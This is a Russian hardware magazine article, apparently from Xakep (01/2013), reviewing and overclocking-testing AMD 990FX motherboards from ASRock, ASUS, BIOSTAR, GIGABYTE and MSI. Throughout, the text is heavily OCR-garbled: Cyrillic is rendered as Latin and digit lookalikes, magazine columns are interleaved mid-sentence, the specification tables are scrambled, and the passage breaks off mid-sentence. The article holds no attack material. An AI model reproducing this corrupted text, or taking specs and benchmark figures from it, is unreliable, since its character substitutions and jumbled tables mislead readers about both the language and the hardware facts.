0Ka3a/nCb HEe CANLLKOM yAaYyHbIMU. TeM He MeHee NMoJ00HOe Henb35 OTHECTM B afpec MaTEpPUHOK
Ha 6a3e norukm AMD. /1 BOT Mbl pelunan npoTecTMpoBaTh TOMOBbIE NaThl Ha YMnceTe

990FX — HacToswme «KpacHble Gypum»!

Y7o MHTepecHo, BOCM0J1b30BaBLUKChL NOMYNsp-
HbIMW MapKeT-pecypcamu, NIerko BbISCHUTb,
yto Hi-End-nnata gns npoueccopos AMD cTont

oLLYTUMO MeHblue, Hexenw Hi-End-nnata nog Intel.

B kayecTBe npuMepa: MaTepuHckas nnata ASUS
SABERTOOTH 990FX Ha MOMeHT HanucaHus Tecta
cTouna B cpegHem 5500 pybneit, a SABERTOOTH
777 — B cpepHem 8500 pybnei. HYyscTByelub pas-
Huuy? Mpu 3ToM Habop norukn 990FX Hu B yem

He ycTynaet Z77 Express. W paxe bonbLue: ecnu
LieHTpanbHble npoueccopsl Sandy Bridge v vy
Bridge nmetoT BcTpoeHHbIn koHTposnep PCl
Express Ha 16 nuHWIA, TO ceBepHbIN MOCT «JeBSTb-
COT [1eBAHOCTOr0» — MOJIHOLEHHble 32 IMHUN.
[ToHsTHOE Aeno, 4To «kaMelwku» Intel nponssoan-

* ASRock Fatallty 990FX Professional
* ASUS Crosshair V Formula

+ BIOSTAR TA990FXE

* GIGABYTE GA-990FXA-UD7

* MSI 990FXA-GD80

Mpoueccop: AMD Phenom Il X4 970BE,
@1800 Mry (200 x 9)

Kynep: Noctua NH-D14

OnepaTusHas namatb: Corsair CMGTX7,
1x4T6

Bupeokapta: 2 x AMD Radeon HD 7950
Hakonutens: Corsair CSSD-F1206B2,
120T6

Bnok nutanus: ENERMAX Platimax,
750 Bt

0C: Windows 7 MakcuManbHas
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TenbHee. OHaKO, BO-MePBbIX, Pa3HKLLA B NPOU3-
BOAMTENIbHOCTY COMOCTaBKMA C PasHuLen B LieHe
CPU. Bo-BTopbix, v Phenom Il, n FX obnapatot
NOTPSCaloLWMM OBEPKIIOKEPCKINM NOTEHLMANOM.
B ntore pasortaHHoro fo 4.5-5 [Ty npoueccopa
«KPaCHbIX» XBaTUT [/ NTPOKAYKHM Napbl TONOBbIX
BWLEOKapT.

BOMPOC NOKOJIEHNN
Kak nokasbiBaeT npakTika, cobupats cucte-
My Ha 6a3e norvku AMD — BecbMa 1 BecbMa
BbIrogHoe Aeno. M He ToNbKO 13-3a IKOHOMUM
Ha MOKYNKe KOMMNeKTYyloWmx, Ho 1 bnaroaaps
BO3MOXHOCTY NOCTEMNEHHOT0, PaLMOHaIbHOr0
anrpeiiga. B nepByto oyepefib peyb, KOHEYHO, UAET
0 3aMeHe npoLieccopoB. B nnaTax Ha base 990FX
npuMmeHsieTcs cokeT AM3+, KOTopbIN 0TNIUYHO
NafiUT Kak ¢ npolieccopamu apxutekTypbl K10, Tak
1 ¢ npoueccopamu Bulldozer. HaBepHsika cnegyto-
lee NoKosIeHUe «KaMHem» Takxe ByaeT coBMecTu-
Mo ¢ AM3-rHe3gom. OT nonb3oBaTens notpebyetcs
nuwb 06HoBuTb BIOS MaTepuHcKoi nnathl.
EcTectBeHHo, y npoueccopos AMD pa3sHoro
MOKOJIEHWS CYLLECTBYIOT COOTBETCTBYIOLME Orpa-
Hu4eHus. Hanpumep, Phenom Il v Athlon Il moryT
pabotatb ¢ 03Y yactotoi 800 MI'y, a FX — ¢ va-
ctoTon 933 MI'w,.

C JJIMHHBIM «XOB0TOM>»

B otanuue ot Intel, nnatdpopmbl AMD patoT oBep-
KnoKepaMm nosHewLLylo cBobofy feiicTBuid. Mate-
PUHCKME NNaThl UMEKT, eCAI TaK MOXHO Bblpa-
3UTbCsl, Pa3bNOKMPOBAHHbIN TaKTOBbIN reHepaTop.
A npoueccopbl — pa3bi10KNPOBaHHbBIA MHOXUTENb.
K ToMy xe camu «xene3kn» NokasblBatT nNpesoc-
XOfAHble Pa3roHHble cnocobHocTH. IMeHHo Ha base
nornkn AMD Ha cerofHsLLHUIA AeHb YCTAaHOBEHbI

KpynHeiLe MUpOBble PEKOPAbI MO Pa3roHy npo-
L4ecCopoB 1 onepaTUBHOMN NaMsTL.

METOLVKA TECTUPOBAHUA

B pacnopsixernn y TectoBoi nabopatopumn nme-
eTcs MHOXeCTBO npoLieccopoB AMD. Mbl B3snu
«kaMeHb» AMD Phenom Il X4 970, pockoHanb-

HO M3Y4UIM ero OBepKIIOKepPCKMiA NoTeHLMan

1 HayYanu NoAHMMaTh YacToTy WuHbl. Jabel CPU

1 03Y He cTanu byTbISIOYHBIM FOPIILILLIKOM, Ya-
CTOTa LieHTpasbHoro npoteccopa bbina cHUXeHa
no 200 x 9 =1800 MIu, a namatu — go 1066 MI'u.
MocTeneHHo, LWar 3a LWaroM, Mbl HaXoAuUAM TOT
MakcuMyM noka3saTens BCLK maTepuHckoi
nnaThl, KOTOPOro yAacTCst AOCTUYb C MPUMEHEHUEM
BO3/YLUHOI CUCTeMbl oxnaxaeHus. CTabunbHbli
MakcuMyM. CTabunbHOCTb NpoBepsinack B TeYeHue
20 MUHYT yTunuTo# LinX.

MuHumymoMm bynem cuntath oTMeTKy B 230 MIL.
MopHsiB fo Takoro napameTpa Bus Speed, MoxHo,
HanpuMep, A CUCTEMbl BMECTO OMepaTUBHOW
namMsTy yactoToit 1866 MI'Ly npuKynuTb KUT Ya-
cToToi 2133 MI'y. Ecnu nnata He TadeT 230 MIw,
TO HM 0 KaKOM BbICOKOMPON3BOANTENLHOM pe-
LIeHUW peun u He nget. YyTb 3aberas Bnepes,
CKaXeM, YTO B CErofjHAALLIHEM TecTe BCe Y4aCTHUKM
6e3 npobnem npeofonenu faHHyo 0TMETKY M0 Ya-
ctoTe. Pasrox o 250 MIy sBnseTcs ynosneTsopm-
TeNbHbIM, CPEIHNM Pe3ynbTaToM.

OBepkoK no wuHe cbiwe 270 My Mbl
CYMTaeM BOUCTUHY BennKonenHbim! BaxHo nom-
HWUTb, 4TO Pe3yNbTaThl Pa3roHa KOMMbIOTEPHOrO
«Kenesa» 0THOCATCS UCKIIYNTENBHO K KOH-
KpeTHOMY yCTPOICTBY. Take Mbl JOCKOHaNbHO
M3YYMIIM BO3MOXHOCTY TECTUPYEMbIX MaTePUHCKMX
nnaT: uX pasBofKy, KOMMNeKTauuo, GyHKLMOHanN,
t03abunuty.
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ASROCK FATALITY 990FX PROFESSIONAL

TKpbIBaeT TeCT MaT@PUHCKMX NaaT npo- EcTb y ASRock Fatal1ty 990FX Professional E3 BbICOKMIA Pa3rOHHbIN
nyKT koMnaHun ASRock. A TyT nepeg OAMH HENpUATHbIA MOMeHT. [1pu nepepasroHe noTeHuuan
HaMu elle 1 cTapast 3HakoMas — Fatallty  knasuww skntoyeHus/pebyta n POST-uHankaTop E pnBa RJ-45
990FX Professional! To, 4To k pa3paboTke ycTpoi- OTKJTIOYAOTCS U HAYMHAKT CHOBa paboTaTh TOJIbKO E1 oBepkokepckue
cTBa Npunoxun pyky [koHataw Yangen (oH xe nocsie nosiHoro 06ecToYnBaHUs CUCTEMBI. yayyLwansepsbl
Fatallty), BuaHo cpasy: cuctema oxnaxaeHns, 4a B utore pasroHHble npoLeaypbl 3aCTaBumn
1 BCS NNata LennKoM, cTunnsosaHbl Ha Bce 100%. ASRock Fatal1ty 990FX Professional ctabunbHo B mano SATA-nopToB
KpoMme Toro, pagmaTtop eLLe v JocTaTouHo abdek- paboTaTb Npu YacToTe WHHbI 282 MU, [laHHbI B npocTeHbkui
TUBHO oxNaxgaeT fecatndasHyio nogcucremy pe3ynbTaT MOXHO CUUTaTh bosee YeM NosoXu- Realtek’osckuit
MUTAHUS U MOCTbI I0TUKK. [1pUBNEKAIOT BHAMaHWe  TesbHbIM. aynnoKoaeK

1 «M030J104€HHbIE» AMOHCKWE KOHAEHCATOPbI.
B 0bLeM, BbIFASANT BCe LOCTATOYHO KOLLEPHO.

Ha TekcTonuTe pacnasiHo cpasy Tpu nopTa
PCl Express x16. OHu Bce X0Tb ¥ pacKpalleHbl
O[HUM KpacHbIM LiBeTOM, Ho paboTatoT no cxeme
x16 + x16 + x4. CoOOTBETCTBEHHO, Thbl MOXELLb
cobpaTb cucTeMy Ha ba3e NPOCTEHbKUX ABOMHbBIX
maccuBoB BupeokapT AMD CrossFireX n NVIDIA
SLI.

Momumo PEG, Ha nnaTe B Hann4mu ecTb napa
PCl Express x1 v ctonbko xe PCl. Ha Haw B3rnag,
pa3BofKa KOMMOHEHTOB BbIMOSHEHA Ha OTIUYHO.
YcTaHoBKa ABYX rabapuTHbIX BUAEOKApT NycTb
Y INWNT BO3MOXHOCTY UCMONb30BATh MO OfHOMY
PCl Express x1 v PCI, Ho poBHO CTONbKO e NopToB
0CTaHyTCst CBOBOAHBIMY.

CtonT oTMeTuTh, Yto ASRock Fatallty 990FX
Professional ocHalleHa cpasy AByMs ceTeBbIMM
KoHTposnepamu. CrefosatenbHo, Ha I/0-naxenu
ecTb ABa RJ-45-koHHekTOpa. A BOT noyeMy MaTe-
PUHCKYIO NNaTy, OPUEHTUPOBAHHYIO Ha reiiMepos,
He 0CHaCTWUAM HOPMasbHbIM ayAMOMNPOLLECCOPOM,
LJ15 Hac oCTaeTcs 3arafkoi. 34ech 3a 3BYK 0T-
BeyaeT CTaHAapTHbIN Kofiek Realtek. Ha Bcskuii
cnyyaii coobulaem, yto y Creative ecTb B npofaxe
MOAeNb ANCKPETHOMN 3ByKOBOW KapTbl Recon3D
Fatal1ty Champion. OTanyHoe peluenue ons npo-
beccroHanbHbIx reiimepos. M He TonbKo.

Ye B 0CHOBHOM [i151 OBEPK/IOKEPOB Ha Tek-
CTOINTE HALLOCh MECTEYKO A1 KHOMOK BKIloYe-
HUA/nepesarpy3ku CUCTEMBI, @ TAKKE UHAMKATOPa
POST.

BIOS maTepunHckon nnatsl, a TouHee, UEFI-
060/104Ka NPUBETCTBYET HAC 3aBOPaXMBAIOLLUM
noro Fatallty. Bce ocHoBHble HacTpoiiku no pasro-
Hy «xenesa» HaxogsaTca Bo Bknagke OC Tweaker.
Mepsas u3 Hnx — OC Mode, nossonsiowas nytem .
HaaTus BCEro 0f{HOW KHOMKM pa3orHatb cucTeMy () i~ Y TS
Ha 50% c waroM B 5%. ®uiuKa B TOM, 4TO nocie : ' x-’m-'!ﬂ ﬂsﬂ@dﬁ .....l"'_'l._."-_
akTuBauuu pexuma 0C Mode BIOS maTepuHkm
CaM BbICTaBNIAET BCe NOKA3aTeNN HANPSXKEeHN,
MHOXUTeNe u yactoT. [pasga, cTeHs nepe-
cTan ctabunsHo pabotatk yxe npu 30%, To ecTb
npv 3HavyeHunn BCLK 260 MIy. A BoT Ha 25%

(250 MI'y no wwHe) cuctema pabotana crabunbHo.

Mpu M3MEHEHNU HaNPSXKEHN KOMMNOHEHTOB
06on04ka He oTobpaxaeT LLBETOM OnacHble no-
poru. Makcumym gns CPU — 2 B. B gomaluHux
YCJI0BUSIX H03aTh MPOLbI C TAKUM HamnpsKeHn-
eM — CMepTu Nofo06Ho. A BOT BO BpeMst 3KC-
TPeMasnbHOro OBEPKJIOKMHIa bbIBAIOT MOMEHTSI,
Koraa noHapobutcs noagHATb VCore elie Bbllle —
no 2,1 B. lar nogHATMS pa3HOCTU NoTeHLManos
VCore — 0,0125 B.

i

upport 8-Cors
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E3 BbICOKMIA pa3roH-
HbI NoTeHUMan

£ pasBogka

Bl nrposas 3BykoBas
KapTa

1 oBepkokepckue
ynyyluaisepsbl

B 4 USB 3.0 Ha
I/0-nanenm

B He obHapyxeHo

ASUS CROSSHAIRV FORMULA

C/M KTO He 3HAET, TO Mbl HAMOMHUM,
4yT0 NuHeiika nnat ROG (Republic of
Geamers] kak pas cTapToBasa C BbIX04a
MaTepuHku ASUS Crosshair, BbinonHeHHo Ha base
yunceta NVIDIA nForce 590 SLI cneunansHo
ans npoueccopos AMD. C Tex nop yTekno focTaTou-
HO MHOTO BOfibl, Y CYOKY/IbTYpbl U3MEHUICS AU3altH,
CTUJIb, HO MPUHLMMBI OCTANINCH HEU3MEHHbIMU:
[aBaTb refiMepaM ¥ 3HTy3KacTaM ToJIbKo camoe
nydwee. M Bot npocum nobutk 1 xanosatb — ASUS
Crosshair V Formula!
Ha uTo cpasy obpatyaellb BHUMaHe — 370
Ha HeCTaH4apTHYl0 pacnaiiky CeBepHoro MocTa.

B utore pagnatop, KoTopbIi 0TBEYaeT 3a 0X-
naxaeHue fecatudasHoit NoaCMCTEMbl MUTaHMS

¥ 4nna, cAenaH npofosroBaThiM, HO KOMMNAKTHBIM.
Y70, B CBOIO 0Yepefb, NO3BONSET yCTaHaBNMBATL
Ha npoueccop Kynep sioboro pasmepa. [pose-
peHo Ha Noctua NH-D14, Thermalright Archon,
Thermalright Silver Arrow n Thermaltake Frio.

/13 npuMeyaTenbHbIX KOMMNOHEHTOB Ha NaTe Mbl
3aMeTUV AOMOJTHUTENbHbBIE 4 MHA A8 MUTAHWS
npoueccopa 1 gononHutensHblit MOLEX gns nuta-
Hus PEG-noptoB.

Ha ASUS Crosshair V Formula pacnasiHo cpasy
yetblpe PCl Express x16. OfLWH U3 HUX U3HAYANbHO

paboTaet B pexuMe x4. OcTanbHble, B 3aBUCK-
MOCTU OT UCMOJIb3YEMOTO MacCHBa BUAEOKaPT,
MOTyT AennTbcs cornacHo cxeme x16 + x8 + x8. Bee
HeobxofuMble MOCTUKM MAYT B KoMniekTe. Takxe
Ha TeKCTONNUTe NATON «paMnaru» HalaoCh MecTo
ons opHoro PCl Express x1 u ogHoro PCI.

B obLeM v LienoM pa3Bofika KOMMOHEHTOB
ASUS Crosshair V Formula He Bbi3biBaeT Kakux-
nnbo HapekaHuii.

OTMeTVM, 4TO y Hac Ha TecTe nobbiBana NpocTo
ASUS Crosshair V Formula. Ho ecTb Bapuauus
¢ KoMbuHuposaHHoi kaptoit ROG ThunderBolt.
[laHHOe AMCKpeTHOe yCTPONCTBO NpeACcTaBnseT
coboil NpOU3BOANTENbHbIN CETEBOI KOHTPOJJIEP
Killer E2100 1 3BykoBoi#i npoueccop C-Media 6631.

3axoaum B BIOS. OcHoBHoe MeHto — Extreme
Tweaker, B KOTOPOM HaxofATCS BCe HAaCTPOMKM
M0 Pa3roHy KOMMekTywLmx. Tak, B NOAMEHIO
Ai Overclock Tuner MoxHo BbIbpaTh pexum
Manual, npy kKoTopoM Bce HacTpoiiku HeobxoguMo
BbICTaBAATb BPYYHYIO, @ Takxke pexunm XMP.

MapaMeTpbl HaNPsXXEHUIN Tbl MOXKELLb YCTa-
HaBnMBaTb B ABYX pexumax: offset unu manual.
[pv aTOM cucTeMa curHanmsmpyet Tebe pasHbiMU
LIBETOBBIMW UHAVKALMSIMU O TOM, KaKoii nopor
Mpy yBENMYEHUM BONBT Thl NepetuarHyn. Kpac-
HbIi LBeT — onacHoe HanpskeHne. OTMeTUM,
4TO Pa3HOCTb MOTEHLAN0B Ha MPOLLECCOP MOXHO
nopasath ¢ warom 0,0625 B.

VIHTepecHbl B M3y4eHnn u GyHKLMK Xtreme
Tweaking v Extreme OV.

B uenom BIOS ASUS Crosshair V Formula npo-
CTO Nnopa)kaeT HabopoM 0BepPKIIOKEPCKUX GYHKLMNA.
[Tpu XenaHnuu n3y4aTb BO3MOXHOCTY AaHHO
nnaTbl MOXHO Yacamu! A NoToMy HeyAUBUTENBHO,
4TO MMEHHO NsATas «opMyna» NPOLEMOHCTPY-
poBana Jiyyllne pe3ynbTaTbl MO Pa3roHy B TecTe.
CkaxeM bonbLue: ecnv 6bl Mbl 3aperucTpupoBanu
pe3ynbTtaT B 325 cTabunbHbIX Merarepl, Ha pecypce
hwbot.org, To 3aHsu bl 16-€ MecTo B 06LIEM
3ayeTe no pasroHy ASUS Crosshair V Formula.
[TepBoe e MeCTo 3aHUMaeT BPUTAHCKMWIA IHTY3MacT
topdog ¢ pesynstatoM 405 Ml

11 370 ewe He Bce. IMeHHo npu nomowm ASUS
Crosshair V Formula yctaHoBseH psig MHTepecHei-
LIMX MUPOBbIX PEKOPAO0B M0 pa3roHy. Hanpumep,
no pa3sroHy CPU Boobuie. Ha MOMeHT Hanucanus
CTaTbW OH NPUHaAfexan TalBaHbCKOMY 0Bep-
knokepy Andre Yang, cymeBLleMy pa3orHaTe AMD
FX-8150 go 8709,1 MIy!

TEXHUYECKME
XAPAKTEPUCTUKHU

ASRock Fatal1ty 990FX
Professional

ASUS Crosshair V
Formula

MamaTb:
CnoTbl pacluMpenus:

[nckoBble KOHTponnepbI:
eThb:

3Byk: .

Pa3beMbl Ha 3apHeli naHenu:

®opM-dakTop:

DDR3, 800-2100 MI'y,

3 x PCIExpress x16, 2 x PCl Express x1,
2xPCl

6xSATA 3.0

Ethernet,10/100/1000 M6uT/c
7.1-channel HDA

2xUSB3.0,5x USB 2.0, 1 x Fatallty
Mouse (USB 2.0), 2 x S/PDIF, 1 x FireWire,
2 x eSATA, 2 x RJ-45, 2 x PS/2, 6 x ayano
ATX

DDR3, 1066-2133 MI'y

4 x PCl Express x16,

1xPCl Express x1,1x PCI

7xSATA3.0,1x eSATA 3.0

Ethernet, 10/100/1000 M6uT/c

7.1-channel HDA, SupremeFX X-Fi 2

4xUSB 3.0, 8 xUSB 2.0, 1x S/PDIF, 1 x eSATA,
1xRJ-45, 1xPS/2, 6 x aypuo

ATX
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BIOSTAR TA990FXE

Tenepb N03HaKOMMUMCS C MaTEPUHKON
BIOSTAR TA990FXE. HauHeMm c Toro,
4To Mepef, HaMu camas AelleBas nnata
3 NPefCTaBNEHHbIX B CErOAHSILLIHEM TecTe.
M onHa 13 caMbix feleBblx niaT Ha base Habopa
norunkn 990FX Boobue. Tak yto nokynka BIOSTAR
TA990FXE MoxeT oka3aTbcs BeCbMa W BECbMa Bbl-
roflHoW onepawuen.
Kak oka3sanocb, noTeHLan TonoBoro Yumnce-
Ta «KPaCHbIX» UCMO/Ib30BaH He NOSHOCTbI0. Tak,
Ha TekcToIUTe pacnasiHo cpasy Tpu nopta PCl
Express x16. [1Ba 13 H1x — nonHopopMaTHble 1 pa-
6oTatoT no cxeMe x16 + x16. Elle ognH — no cxeMe
x4. Jlerko gorafatbcs, 4To nonHoueHHble PEG
OKpalLieHbl B 0fWH LiBeT. Takxe Ha nnaTe umeetcs
eue opnH PCl Express x1 1 napoyka PCI. Mo Hens-
BeCTHbIM HaM npuynHam BIOSTAR TA990FXE umeet
B CBOEM pacrnopshkeHun Bcero natb noptos SATA 3.0.
M TyT y Hac NosBUANCH KOHKPETHbIE BOMPOCHI
K pa3pabotynkam. [paBnIbHOCTb pa3BOAKM CIOTOB
pacluMpeHus nofBepraeTcs COMHeHuo. [pefcTaBum,
4T Ha ba3se BIOSTAR TA990FXE mbl bynem cobupatb
TOMOBY}0 KOHUIypaLyio ¢ Napoi rabapuTHbIX
BUf,eOKapT. B TakoM ciyyae npu UHTErpupoBaHnn
rpaduyecknx aganTepoB B COOTBETCTBYOLME Denble
MopTbI Mbl € 99-NPOLEHTHOI BEpPOSTHOCTLIO (Hannuve
TOMOBbIX BUAEOKAPT C OAHOCNOTOBBIMU CUCTEMAMM
OXNaXAeHUs Ha CErofHsALLHNA AeHb — bonbluyLlas
penkocTb) «noTepsiem» HkecTosiwme PCl Express
x1 v PCI Express x4. 13 cnotoB paclumpenus
0CTaHyTCA LB Napoyka gouctopuyeckmnx PCI.
M yto penatb? MoyeMy Henb3s bbino yctaHoBuTs PCI
Express x1 Ha MecTo MOLEX (koTopbIi1 Takxe pac-
MOJIOXKEH He COBCEM yA0BHO), YyTOUKy BULON3MEHNTL
pagwarop, a HWxHuii PCl nomeHsts Mectamu ¢ PCI
Express x47 B TakoM cnyyae fjaxe € y4eToM yCTaHoB-
NleHHbIX ABYX BUAEOKapT Mbl bbl Menu B cBoeM pac-
nopsbkeHun n PCl Express x1, n PCl, u PCI Express
x4. B utore cbopka K ¢ ncnonb3osaHveM bonbLLoro
uncna AUCKpeTHbIX AeBaiicos ¢ BIOSTAR TA990FXE
BymeT Heckonbko ocnoxHeHa. 06ugHo.
OTMETUM W Hanu4mMe KNasuLl BKoYeHus/pebdyTa
cucTeMbl, a Takxke Hankatopa POST-curnanos.
Bce dyHKLMM No pasroHy cucTeMbl HaxoaaTCs
B MeHio 0.N.E. /i3amMeHsaTb napameTpbl npoLeccopa
MoxHo B MeHio AMD Pstate Configuration. HacTtpo-
eK — pas, Ba 1 obyesncs. Ho ins pasroHa Ha Bo3-

[Liyxe — XBaTWUT BMoJHe. HanpskeHns KOMMNOHEHTOB
CUCTEMbI MOXKHO U3MEHSATH TONIbKO B PeXuMe
Offset, 4To, Ha HaL B3rnsg, He COBCEM y06HO.
Hakoneu, BIOSTAR TA990FXE ocHalleHa ¢yHK-
Lmel aBToMaTuyeckoro pasroHa —Auto OverClock
Systems. OHa noapasymMeBaeT akTUBaLMIO TPeX
pexumoB Tech Engine: V6, V8 n V12. HauanbHas
CTaAvs NOAHMMAET YacToTy TAKTOBOrO reHepaTopa
00 220 My, Pexum V8 —no 230 M. Pexum
V12 —po 240 MI"y. OTMeTUM, 4To Npu akTBa-
LMW NOCNEHEro peXxuMa cucTemMa CTapToBaThb
KaTeropuMyecku oTkasanacb. TeM He MeHee camo-

E Hn3kas cToMMocTb
B oBepknokepckue
ynyylansepol

B mano SATA-nopToB

B HepoyeThl B pa3Bofke
CI0TOB paclUVpeHns

B papuatop toxHoro MocTa
efne cnpaensetcs
C OXJlTaXeHUeM

B caMblii cnabbiii B TecTe
pas3roHHbI NoTeHUman

cTosTeNbHO, 6e3 npuMeHeHns GyHKLMKM aBTOOBEP-
K/IOKWMHTa, HaM yaanoch NOAHATL YacTOTy LMHbI
[0 cTabunbHbix 259 Ml — pe3ynbTaT LOCTATOYHO
CPeAHWI 1 CaMblii HU3KWIA CPefy Y4aCTHUKOB
CerofHsLWHEero TeCTUpPOBaHMs.

Ha Halw B3rnag, npu BCcex CBOMX HefocTaTKax
maTepuHckas nnata BIOSTAR TA990FXE Bce paBHo
NOSHOCTbIO ONpaBLbIBAET CBOIO CTOMMOCTb. Pa3roH
npoueccopa B pa3yMHbIX Npejefiax oCyLecTBUTb
BMOJIHe BO3MOXHO. M ecnin cobupatb cuctemy
C O[}HO BM[LE0KAPTOM, TO HEXBATKM CJIOTOB pac-
LUNPEHMSA Tbl He 3aMeTHLLb.

V.

-'“”””-.-'t: ot

BIOSTAR
TA990FXE

GIGABYTE GA-
990FXA-UD7

MSI 990FXA-
GD80

DDR3, 1066-2200 MI'y
1x PCl Express x16, 1 x PCl Express x1, 2 x PCI
5xSATA3.0

Ethernet, 10/100/1000 M6uT/c

7.1-channel HDA

2xUSB 3.0, 4 x USB 2.0, 1 x S/PDIF, 1 x FireWire,
1xeSATAII, 1 x RJ-45, 2 x PS/2, 6 x ayano

ATX

DDR3, 1066-2000 MI'y,
6 x PCl Express x16,1 x PCI
8xSATA3.0

Ethernet, 10/100/1000 M6uT/c

7.1-channel HDA

2xUSB 3.0, 7 x USB 2.0, 2 x S/PDIF, 1 x FireWire,
2 x eSATA, 1 x RJ-45, 1 x PS/2, 6 x ayano

E-ATX

DDR3, 800-2133 MI'y
4 x PCIExpress x16, 2 x PCl Express x1, 1 x PCI
6 xSATA3.0

Ethernet, 10/100/1000 M6uT/c

7.1-channel HDA

2xUSB3.0,

4xUSB 2.0, 2 x S/PDIF, 1 x FireWire, 2 x eSATA,
1xRJ-45,2xPS/2, 6 x ayauo

ATX

XAKEP 01/168/2013
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MSI 990FXA-GD80

PO MbITApCTBa C MaTepuHcKoii nnatoit MSI

990FXA-GD80 MoxHO 6bIf10 b6l HanucaTb

Lenblil daHTaCcTUYECKMI pOMaH No BCEM
npaBuiam XaHpa: ¢ 3aBA3KOM, KyNbMUHaLen
1 pa3BA3KoW. Y)Xe n3Bnekas cen «arperaT» u3
MUHUATIOPHOW KOPOOKM, Mbl MPU MOMbITKE X0Tb
KaK-HWByab NPMAPATLCS K Pa3BOLIKE KOMMOHEHTOB
BbIHYXJeHbl 6biau 06nomatbes. CyyeToM Takoro
KOSIMYecTBa CIOTOB paclUMpeHuit pacnaiika
MHTepdencoB ocyLiecTBAeHa rpamMoTHo. Nog-
TBEPXAAEM.

AL FARY CLA%5% I

. Dexigmedd in Talped

tless TP Asdio
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Tenepb KoHkpeTHo. MSI 990FXA-GD80
“MeeT Ha cBoeM bopTy cpa3y yeTbipe nopta PCl
Express x16. [paBaa, paboTaloT oHM No cxeMe
x16 + x8 + x8 + x4. MaTepuHckas nnata nopaep-
XKUBaeT TPOiiHble MaccuBbl BuaeokapT AMD u
NVIDIA. Momumo PEG-cnoTtos, MSI 990FXA-GD80
HacuuTbiBaeT napoyky PCl Express x1 v eLe oguH
PCl (Ha Bcskunit cnyyan). B utore, nayuns sce
MMetoLLnecs y nnatel HTepdenchl, Mbl BULUM,
4TO NoTeHuman Habopa noruku B MSI 990FXA-
GD80 ncnonb3oBaH NoMHOCTHIO. C «LenoTKoM»

R Py

4

B Buze koHTponnepa USB 3.0 NEC D720200. Ho He
6onblue. Heckonbko yaMBRseT Hannumne y Tonosoi
B JIMHeliKe MaTepPUHKM Bcero WwecTn noptos SATA.
ATenepb camoe nHTepecHoe: MSI 990FXA-
GD80 no cTaTycy NonoXeHo bbITb 0BEPKIIOKEP-
CKOI. YTo KacaeTcs NOACUCTEMBI MUTAHNSA, TO TYT
BCe HOpMasbHo. 3a cTabunbHyto paboTy npoliecco-
pa oTBeyYaeT cpasy fiecsTb $pas 1 u3BecTHas BCeM
TexHonorus Military Class Il. metoTcsa Ha nnate u
0BepkJIoKepcKme ynyyiansepsl: nHankatop POST,
KHOMKM BKJTIO4eHMs/Mepesarpy3ku cUcTemsl, a
Takxe knasuwa OC Genie II. [epBoHayanbHo
Hac HUCKoNeYKo He yanBuna ronyboi akpaH BIOS
LaHHOW nnaTbl. Ho NpU HaaTun KHOMKW, aKTUBH-
pytoweit TexHonoruo OC Genie Il, Huyero He npo-
ncxoauno. Mano Toro, NogHATUE YaCTOThI LNHBI
npoBOLMPOBao pasrox scero ogHoro (1) agpa.
XoTsa B HacTpoikax B MeHto Overclocking 6binn
33/1e/iCTBOBAHbI BCE YETbIPe «r0J10Bbl» NPOLEecco-
pa. MakcuManbHblii e cTabubHbI NokasaTenb
BCLK cocTtaBun Bcero 249 HecyacTHbIX Merarepll.
K ToMmy xe paboTaTb B BIOS 6b1n10 abconioTHo He-
BO3MOXHO W3-33 KOLIMaPHOro fara.
MepBasi Xe MbICNb 1 NepBoOe Xe pelleHne —
nepenpowutb BIOS. Ha MoMeHT TecTa akTyanbHOM
cuutanaco Bepcust Mukpokoga 11.11. Mocne ctaH-
[apTHOM onepaLnm «KpoKK v LUNTbs» U Nepe-
3arpy3ku Hac BCTPETUI yXKe He roslyboii akpaH,
a cumnoTHbIn 6ung UEFI-o6ono4yku. Ho camoe
rnaBHoe — 6e3 rnoKoB v TopMo308B. [TepBbIM Npy-
3HakoM peHeccaHca MSI 990FXA-GD80 nocnyxun
TOT dakT, yto 3apabotana texHonorus OC Genie I,
Pa3roHsIoLLAsA MPOLECCOp U NaMATb.
OTMeTUM, 4TO HacTponKaMu no pasroHy MSI
990FXA-GD80 He n3obunyeT. Ho Bce ocHoBHbIE
npucyTcTBytoT. Hanpsixenue Ha CPU nopaeTcs ¢
warom 0,01 B. Mpwn 3TOM HMKaKKX LLBETOBbIX UHAMN-
Kauwui He npepycmoTpeHo. BoamoxHocTel BIOS
HaM xBaTuno, 4Tobbl pasorHate MSI 990FXA-GD80
no wuHe go 300 MIu! A 3To, Mexay npoynM, BTo-
poit pe3ynbTaT B TecTe. [lobaBnM, 4To Ha «x060Te»
3aperncTpupoBaH pe3ynbtaT B 320 MI'y, noctas-
NeHHbIV BpUTaHCKUM oBepkIokepoM borandi.
B nTore nonyuunoch Tak, 4To baHanbHas nepe-
npowwska BIOS npespaTtuna MSI 990FXA-GD80
13 rafikoro yTeHKa B HacTosLLiero 6enocHexHoro
nebepns. bonbHo paankanbHbIMU OKa3annch 13me-
HeHus. Cy4eToM BCex NKCOB, MUHYCOB, a TakXe
CTOMMOCTY NAaThl HaMK BbI0 NPUHATO peLleHne
Harpagutb MSI 990FXA-GD80 npusom «Jlyywas
noKymnKka».

E pa3Bogka

El BbICOKWIA Pa3roHHbIN
noTeHunan

E1 oBepknokepckue

) ynyyllaisepsl

E npuemnemMas ctonMmocTb

el B cbipoit komnnekTHbIA BIOS

B kanpu3HocTb Npu pasroxe
B mano SATA-nopToB

XAKEP 01/168/2013



La Furia Roja

GIGABYTE GA-990FXA-UD7

Y KaKoWi e TeCT naaT MoxeT 0601MTUCh

6e3 TBOopeHmnit komnatuu GIGABYTE?

[la Hnkakoi! EcTb nnub 0ilMH MOMEHT:
¢ MaTepuHkoi GIGABYTE GA-990FXA-UD7
Thl YK€ XOpOLLIO 3HaKoM. BnipoyeM, Takum nnatam
Mbl BCETAa pajbl.

HauneM c Toro, 4to GIGABYTE GA-990FXA-
UD7 — eAnHCTBEHHasA B TeCTe «Mama», BbINon-
HeHHas B dopM-dakTope E-ATX. CnepoBaTess-
HO, CTOUT y4YnTbIBaTb 3TOT hakT npu nopbope
KoMnbtoTepHoro kopnyca. CTosb MacwTabHble
TEKCTONUTOBbIE MPOCTOPbI MO3BONNAN TallBaHb-
CKUM WHXXeHepaM pacnasTb Ha naaTte cpasy
wects (/) PEG-nopTos. PaboTaTb oHu byayT
no cxeMme x16 + x16 + x8 + x8 + x4 + x4. 3-Way/
Quad MaccuBbl BULeOKapT — BCe BKJILOYEHO!
OTMETHM, YTO NMOJTHOLLEHHbIE CJIOThI Ha LWecT-
